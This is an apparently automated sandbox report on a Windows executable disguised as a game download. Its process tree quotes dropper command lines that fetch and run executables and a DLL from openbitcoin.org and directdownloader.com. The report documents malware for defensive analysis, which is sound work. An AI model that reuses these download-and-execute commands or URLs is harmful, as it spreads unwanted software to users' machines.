5ce2685169c772ac50c61f4aa5aaad2cece546b7705e95e37b8377f71f341c7a

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
04/02/2024, 20:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9016f356f8dd0ea8fc92857b2a499cdb.exe
Size 492KB
Sample240204-zbxjmsabd5
SHA256 5ce2685169c772ac50c61f4aa5aaad2cece546b7705e95e37b8377f71f341c7a
MD5 9016f356f8dd0ea8fc92857b2a499cdb
SHA1 63ec8834c74b998e443c6e63b4d1b0bd77387af9
SHA512 04d18a318b4ceba0486f0de5cf4c94551038e9cd831805ab72ac88afd622110504e11c7258262ed22ee4631114b9877f180376150cf797232aef4e107ecfc3b6
SSDEEP 6144:3uk4fqjzbQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:x4fw36peEUBwXVwM9vylzdYvH7AwC
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
2036	downloaderSTUB.exe
1936	downloaderSTUB.exe
1104	downloaderSTUB.exe
2468	downloaderDDLR.exe
624	downloaderOFFER0.exe
512	preinstaller.exe

Loads dropped DLL 25 IoCs

pid	Process
1936	downloaderSTUB.exe
2036	downloaderSTUB.exe
1104	downloaderSTUB.exe
624	downloaderOFFER0.exe
2468	downloaderDDLR.exe
1936	downloaderSTUB.exe
2036	downloaderSTUB.exe
1104	downloaderSTUB.exe
624	downloaderOFFER0.exe
2468	downloaderDDLR.exe
1936	downloaderSTUB.exe
2036	downloaderSTUB.exe
1104	downloaderSTUB.exe
624	downloaderOFFER0.exe
2468	downloaderDDLR.exe
1936	downloaderSTUB.exe
2036	downloaderSTUB.exe
1104	downloaderSTUB.exe
624	downloaderOFFER0.exe
2468	downloaderDDLR.exe
1936	downloaderSTUB.exe
1104	downloaderSTUB.exe
2036	downloaderSTUB.exe
624	downloaderOFFER0.exe
2468	downloaderDDLR.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 6 IoCs

installer

resource	yara_rule
behavioral2/files/0x0006000000023202-7.dat	nsis_installer_1
behavioral2/files/0x0006000000023202-7.dat	nsis_installer_2
behavioral2/files/0x0006000000023202-13.dat	nsis_installer_1
behavioral2/files/0x0006000000023202-13.dat	nsis_installer_2
behavioral2/files/0x0006000000023201-15.dat	nsis_installer_1
behavioral2/files/0x0006000000023201-15.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1516 wrote to memory of 2036	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	87
PID 1516 wrote to memory of 2036	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	87
PID 1516 wrote to memory of 2036	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	87
PID 1516 wrote to memory of 1936	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	93
PID 1516 wrote to memory of 1936	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	93
PID 1516 wrote to memory of 1936	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	93
PID 1516 wrote to memory of 1104	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	92
PID 1516 wrote to memory of 1104	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	92
PID 1516 wrote to memory of 1104	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	92
PID 1516 wrote to memory of 2468	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	91
PID 1516 wrote to memory of 2468	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	91
PID 1516 wrote to memory of 2468	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	91
PID 1516 wrote to memory of 624	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	90
PID 1516 wrote to memory of 624	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	90
PID 1516 wrote to memory of 624	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	90
PID 1516 wrote to memory of 512	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	88
PID 1516 wrote to memory of 512	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	88
PID 1516 wrote to memory of 512	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	88

C:\Users\Admin\AppData\Local\Temp\9016f356f8dd0ea8fc92857b2a499cdb.exe
"C:\Users\Admin\AppData\Local\Temp\9016f356f8dd0ea8fc92857b2a499cdb.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1516
- C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2036
- C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\preinstaller.exe 0 "Hearts of iron 2 doomsday - armagedon[pl] rar" "Download"
  2⤵
  - Executes dropped EXE
  PID:512
- C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:624
- C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2468
- C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1104
- C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

downloaderDDLR.exe

Path C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderDDLR.exe
Size 44KB
SHA256 c45202c2282e64c7f7fc68b9381b98c17245968fdb4b2f45c862589d008b76f4
MD5 d011dc6fd4ced8d18907dcd357694845
SHA1 edf0572421c8a4bc14e03380e7378e924af0bd34
SHA512 e501325bc82d664a9c9400a25c0a62e503edb38c44cec0f195a152f80550eba9478efbe915c4b2b88f33bbb4cd30f7ea7bf20ae9bc52fd5118e975164b4c119b
SSDEEP 768:C4wO7XBz+5Qm3W0tYdrQZHV4EWuWEUOg4jjfS3XJL6FKl2ODLk376129VCN:tLXB65939tY6HBg4sXJhweErCN
MD5 SHA1 SHA512 SSDEEP

Submit Download

downloaderSTUB.exe

Path C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe
Size 14KB
SHA256 b8a9bbc6e954a5f852bdb2871de3eb11319ea9fcebcf3c8320f76b7fa5720845
MD5 4b2ba4edeb3546060d91eaa689f8c4e0
SHA1 036c15d1fbd441616e4427b37a9191e81f62532d
SHA512 e124972265220eda69b735f171a5019abd65d8f6410d34caaf4d3424a5a04ee2d35fa2dcf3b91f2619a93bb58b118dc92928a4030d531b9ff9424ccee8377d03
SSDEEP 384:u1Q1DZwvO7txXBZl+fBQm3WgRtlKPZz5S0QZHV4ED:C4wO7XBz+5Qm3W0tYdrQZHV4ED
MD5 SHA1 SHA512 SSDEEP

Submit Download

downloaderSTUB.exe

Path C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe
Size 58KB
SHA256 fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24
MD5 c7f6ed56312c8fbb58ae6ed445c38df4
SHA1 e2dba94ef052db774478b9f7198c1a2298b334e5
SHA512 ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43
SSDEEP 1536:tLXB65939tY6HBg4sXJhweErCi/S8qcy4PLv:tLk395hYXJh0C6jy4z
MD5 SHA1 SHA512 SSDEEP

Submit Download

preinstaller.exe

Path C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\preinstaller.exe
Size 72KB
SHA256 2cc240c23a1b251be2887e153e153e16554c06913912535c8d15eb31548b09d8
MD5 6a73df3335b4d955f857ebfbcefc82bb
SHA1 aea61ade94539c312790f509db51302c2ccbc417
SHA512 c12435eb499c53ce721e5c62b1cb394df9580018d7941c3d9305058aee9cdb7c7053e5a99a4c17d3cf5723856b36d8ac42c04458db6ff74c103777183a6babbd
SSDEEP 1536:oK17CKVJbOzrOs7MnrlzTjbGRpvw3AIdgq36DfURJ:J17CCJbO3ZgroWpdf6DfURJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

preinstaller.exe

Path C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\preinstaller.exe
Size 47KB
SHA256 a7cc0c921f4e4d15939058f22145a5e8b3e2d0ced744e39f0e55039dcf658873
MD5 2ba481fe8f79c5d5e477ab86be4d6708
SHA1 be3b11e94c28d07c5561131fe542a74cf4eb9a46
SHA512 f1fa695297daedacf21e3cd6f3bcd2119bcb23d4180dbd98f556d81682dcdd65732a66d763a24fc099a8a7a2754168cfb7c358c19edb6843cb589d538c807db6
SSDEEP 768:oK1FKMZizYC7nAi+lVJueAPfWwFAMjNegyvs5hp5fAn78ecYzTr3bs:oK17CKVJbOzrOs7MnrlzTjbs
MD5 SHA1 SHA512 SSDEEP

Submit Download

NSISdl.dll

Path C:\Users\Admin\AppData\Local\Temp\nso5015.tmp\NSISdl.dll
Size 14KB
SHA256 dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9
MD5 a5f8399a743ab7f9c88c645c35b1ebb5
SHA1 168f3c158913b0367bf79fa413357fbe97018191
SHA512 824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977
SSDEEP 192:tUZTobBDJ68r67wmsvJI5ad9cXzFOVu+mZ/P3p+57CvpVqDxVp01Dwn2GRPgsfA:6Bo/680dCI5adOjFOg9//p27uNw2Go
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/512-46-0x0000000000400000-0x000000000043F000-memory.dmp

Download

memory/1516-45-0x0000000000400000-0x0000000000444000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads